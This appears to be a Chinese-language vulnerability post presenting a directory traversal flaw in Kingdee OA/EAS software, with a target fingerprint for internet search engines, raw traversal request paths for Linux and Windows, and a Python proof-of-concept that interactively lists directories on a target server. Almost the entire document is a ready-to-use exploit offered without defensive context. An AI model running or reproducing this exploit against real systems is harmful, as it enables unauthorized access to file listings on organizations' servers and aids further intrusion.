金蝶OA server_file 目录遍历漏洞 附POC

app="Kingdee-EAS"

# linux 
/appmonitor/protected/selector/server_file/files?folder=/&suffix=
# windows
/appmonitor/protected/selector/server_file/files?folder=C://&suffix=

import requests
import json
import optparse
# app="Kingdee-EAS"




parser = optparse.OptionParser()
parser.add_option("-u","--url",dest="urls",action="store",help="Base target uri (ex. http://target-uri/)")
options, args = parser.parse_args()
url_Kingdee = options.urls




def poc():
    check = requests.get(url_Kingdee).status_code
    if check ==200:
        flag = True
        print("[+] Success connect to target")
    try:
        headers = {
            'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0'  
        }
        while flag:
            cmd = input("$ ")
            if cmd == 'exit':
                exit()
            payload = '/appmonitor/protected/selector/server_file/files?folder='+cmd+'&suffix='
            rep = requests.get(url_Kingdee+payload,headers=headers,verify=False)
            format = json.loads(rep.text)
            dict_json = format['rows']
            for t in dict_json:
                print(t['path'])
    except:
        exit()


poc()